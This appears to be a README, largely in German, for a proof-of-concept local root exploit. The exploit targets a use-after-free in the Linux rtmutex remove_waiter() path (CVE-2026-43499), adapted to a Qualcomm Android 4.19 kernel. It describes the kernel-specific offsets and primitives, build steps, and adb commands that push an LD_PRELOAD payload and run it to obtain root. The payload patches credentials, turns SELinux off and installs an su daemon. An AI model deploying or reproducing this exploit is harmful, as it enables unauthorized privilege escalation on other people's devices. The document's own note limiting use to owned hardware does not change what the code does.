
CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF Local-Root-PoC, angepasst für Qualcomm-Android-4.19-Kernel (Redmi K40 / Snapdragon-870-Klasse), basierend auf LD_PRELOAD
Lokale Rechteausweitung durch Ausnutzung von CVE-2026-43499 — ein
remove_waiter()-Bug in rtmutex, der eine struct rt_mutex_waiter auf dem
Kernel-Stack des Waiters zurücklässt (kernel/locking/rtmutex.c, CWE-416 Use-after-Free).
Adaptiert von
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) für eine Qualcomm-Android-4.19.x-
Vendor-Kernel-Familie.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue()-Proxy-Lock-Rollback ruft remove_waiter() auf, das
mit current statt waiter->task arbeitet — RB-Baum-Dequeue ohne
pi_lock, hängendes pi_blocked_on, was zu einem UAF auf dem Kernel-Stack führt.
Betroffen bis einschließlich der behobenen Versionen 5.10/5.15/6.1/6.6/6.12/6.18/7.0; 4.19 hat
keinen Backport (EOL), daher ist 4.19.157-perf betroffen.src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file sind in den .read/.write-
fops-Slots platziert (4.19-Signaturen), und die Lese-Primitive verwendet das vereinfachte
count/page/ppos=0-Fake-Buffer-Layout/dev/ashmem) fehlt auf diesem Kernel — Präfixlänge 0selinux_blob_sizes existiert auf 4.19 nicht → direkter cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp hat kein filter_countASHMEM_MISC_FOPS = miscdevice.fops-Slot (ashmem_misc + 0x10)Linux / WSL mit Android-NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
Ausgaben: prebuilt/preload.so (LD_PRELOAD-Payload) und ein eingebettetes
su_daemon-PIE.
Erfordert eine ADB-Shell (eine normale, nicht privilegierte adb shell reicht aus — der
Exploit läuft vollständig ohne Privilegien und führt selbst die Eskalation durch).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
Optionale Einzeiler-Varianten:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Jede pr_*-Zeile wird mit sofortigem write()+fsync() auf den Datenträger gespiegelt, sodass die
Spur einen Kernel-Panic/Reboot übersteht:
/sdcard/Download/log_<timestamp>.txt
Fallback-Pfade, falls /sdcard nicht verfügbar ist: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Wichtige Log-Markierungen:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — Payload geladenslide-kaslr-ok ... base=... — KASLR-Basis wiederhergestelltpipe-physrw-summary ... root=1 ... — phys RW installiertuid_before=... uid_after=0 ... selinux=1->0 — Credentials gepatchtUNVERIFIED aus — diese
Stufe muss pro Gerät mithilfe dieses Logs angepasst werden.target.h markiert und werden
zur Laufzeit als UNVERIFIED protokolliert. Iteriere auf dem Gerät mit dem fsync-Log.CONFIG_STATIC_USERMODEHELPER=y deaktiviert in diesem Build Modprobe-Pfad-Tricks;
der primäre Pfad ist das direkte Patchen von cred./proc/kallsyms) und /proc/slabinfo vor der Bereitstellung.Apache-2.0 (Upstream: NebuSec/CyberMeowfia). Nur für Sicherheitsforschung und autorisiertes Rooten eigener Geräte. Verwende es nur auf Hardware, die dir gehört.